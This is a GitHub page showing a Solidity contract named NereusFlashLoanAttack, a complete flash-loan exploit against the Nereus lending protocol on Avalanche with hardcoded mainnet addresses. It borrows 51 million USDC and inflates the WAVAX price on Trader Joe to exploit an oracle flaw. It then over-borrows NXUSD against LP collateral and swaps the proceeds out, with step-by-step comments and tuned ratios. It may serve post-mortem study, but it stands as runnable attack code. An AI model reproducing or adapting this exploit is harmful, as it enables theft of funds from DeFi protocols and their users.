Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
interface ICauldronV2 {
function updateExchangeRate() external returns (bool updated, uint256 rate);
function borrow(address to, uint256 amount) external returns (uint256 part, uint256 share);
function addCollateral(
address to,
bool skim,
uint256 share
) external;
function exchangeRate() external view returns (uint256);
}
interface ITraderJoeRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
}
interface IDegenBox {
function setMasterContractApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external;
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
function balanceOf(address token, address account) external view returns (uint256);
}
interface IFlashLoaner {
function flashLoanSimple(
address receiverAddress,
address asset,
uint256 amount,
bytes calldata params,
uint16 referralCode
) external;
}
interface ICurveMeta {
function exchange_underlying(
address pool,
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external returns (uint256);
}
interface ICurveStablePool {
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external returns (uint256);
}
contract NereusFlashLoanAttack {
IERC20 usdc = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
IERC20 nxusd = IERC20(0xF14f4CE569cB3679E99d5059909E23B07bd2F387);
IERC20 wavax = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
IERC20 usdce = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
IERC20 wavaxusdc = IERC20(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
IDegenBox degenbox = IDegenBox(0x0B1F9C2211F77Ec3Fa2719671c5646cf6e59B775);
ICauldronV2 cauldron = ICauldronV2(0xC0A7a7F141b6A5Bce3EC1B81823c8AFA456B6930);
address masterCauldron = 0xE767C6C3Bf42f550A5A258A379713322B6c4c060;
ITraderJoeRouter router = ITraderJoeRouter(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
IFlashLoaner flashLoaner = IFlashLoaner(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
address nxusd3crv = 0x6BF6fc7EaF84174bb7e1610Efd865f0eBD2AA96D;
ICurveStablePool usdceusdc = ICurveStablePool(0x3a43A5851A3e3E0e25A3c1089670269786be1577);
ICurveMeta curvemeta = ICurveMeta(0x001E3BA199B4FF4B5B6e97aCD96daFC0E2e4156e);
function exploit() public {
// Approve USDC and WAVAX on the Trader Joe router
usdc.approve(address(router), type(uint256).max);
wavax.approve(address(router), type(uint256).max);
// Approve USDC for the flash loaner pool so it can make us repay the
// flashloan
usdc.approve(address(flashLoaner), type(uint256).max);
// Approve WAVAX/USDC LP tokens for the DegenBox so it lets us deposit
// to it
wavaxusdc.approve(address(degenbox), type(uint256).max);
// Approve NXUSD for the CurveMeta contract so it can take it from us when
// we attempt to exchange NXUSD
nxusd.approve(address(curvemeta), type(uint256).max);
// Approve USDC.e for the USDC.e - USDC stable swap curve pool so we can
// exchange our USDC.e for USDC in the end
usdce.approve(address(usdceusdc), type(uint256).max);
// Approve USDC.e for the Trader Joe router for the same reason
usdce.approve(address(router), type(uint256).max);
// Allow the CauldronV2 master contract to make transactions (i.e decisions)
// for us. This is required when we attempt to borrow NXUSD, as we have
// to make calls to the CauldronV2 contract and allow it to make calls to
// the DegenBox contract for us.
degenbox.setMasterContractApproval(address(this), masterCauldron, true, 0, 0, 0);
// Now, lets get the flash loan for 51 million USDC. This calls
// `executeOperation()` below.
flashLoaner.flashLoanSimple(address(this), address(usdc), 51000000e6, '', 0);
}
function executeOperation(
address,
uint256,
uint256,
address,
bytes calldata
) public returns (bool) {
// Step 1: Swap 280,000 USDC for as much WAVAX as possible
address[] memory path = new address[](2);
path[0] = address(usdc);
path[1] = address(wavax);
router.swapExactTokensForTokens(280000e6, 1, path, address(this), block.timestamp * 5);
// Step 2: Add 260,000 USDC and as much WAVAX as possible into the WAVAX/USDC LP pool
router.addLiquidity(
address(usdc),
address(wavax),
260000e6,
wavax.balanceOf(address(this)),
1,
1,
address(this),
block.timestamp * 5
);
// Step 3: Swap the remaining flashloaned USDC for as much WAVAX as possible.
// This will drive up the price of WAVAX by a huge amount.
//
// Due to the bug in the oracle, this will lower the exchange rate that's
// used to borrow NXUSD with WAVAX/USDC LP as a collateral significantly,
// which allows us to borrow a lot more than normal market price.
router.swapExactTokensForTokens(
usdc.balanceOf(address(this)),
1,
path,
address(this),
block.timestamp * 5
);
// Step 4: Provide all our WAVAX/USDC LP Tokens up as collateral
uint256 amountLP = wavaxusdc.balanceOf(address(this));
degenbox.deposit(IERC20(wavaxusdc), address(this), address(this), amountLP, amountLP);
cauldron.addCollateral(address(this), false, amountLP);
// Step 5: Update the exchangeRate that the cauldron sees when lending us
// NXUSD for the collateral asset WAVAX/USDC Joe LP Pair
(bool updated, uint256 rate) = cauldron.updateExchangeRate();
require(updated, 'Exchange rate was not updated');
// Step 6: Borrow the 72% of the collateral amount. This seems to be the
// sweet spot, 73% and above just fails
uint256 amountToBorrow = ((amountLP / rate) * 1e18 * 720) / 1000;
cauldron.borrow(address(this), amountToBorrow);
// Step 7: Actually get our tokens. We borrowed them, but we need to
// withdraw them now
uint256 borrowedBalance = degenbox.balanceOf(address(nxusd), address(this));
degenbox.withdraw(nxusd, address(this), address(this), borrowedBalance, borrowedBalance);
// Step 8: Swap all of our WAVAX back for USDC, dropping the price down
// to normal again
path[0] = address(wavax);
path[1] = address(usdc);
router.swapExactTokensForTokens(
wavax.balanceOf(address(this)),
1,
path,
address(this),
block.timestamp * 5
);
// Swap 9: Use the nxusd3crv pool to swap NXUSD for USDC.e
// Note that index 2 is avUSDC, but the function wraps it to USDC.e before
// returning it to us
curvemeta.exchange_underlying(
nxusd3crv,
0, // Within the NXUSD3Crv pool, the 0 index in the `coins` mapping is NXUSD
2, // The index of the underlying output coin, which in this case is USDC.e
nxusd.balanceOf(address(this)),
1 // Minimum amount to get back
);
// Now, swap 80.8% of our USDC.e for USDC using the Curve.fi USDC.e - USDC
// Stable Swap pool, and the rest through the Trader Joe Router.
//
// Swapping 100% of the USDC.e through the pool, or 100% of the USDC.e
// through the router yields a much lower result. I found 80.8% through the
// stable swap pool to be the best ratio experimentally
uint256 optimalStableSwapPoolSwapAmount = ((usdce.balanceOf(address(this)) * 808) / 1000);
usdceusdc.exchange(0, 1, optimalStableSwapPoolSwapAmount, 1);
path[0] = address(usdce);
path[1] = address(usdc);
router.swapExactTokensForTokens(
usdce.balanceOf(address(this)),
1,
path,
address(this),
block.timestamp * 5
);
// Must return true, else the flash loan will revert
return true;
}
// Test function to use at each stage of the exploit to return any variable
// for viewing
function test() public view returns (uint256) {
return usdc.balanceOf(address(this));
}
}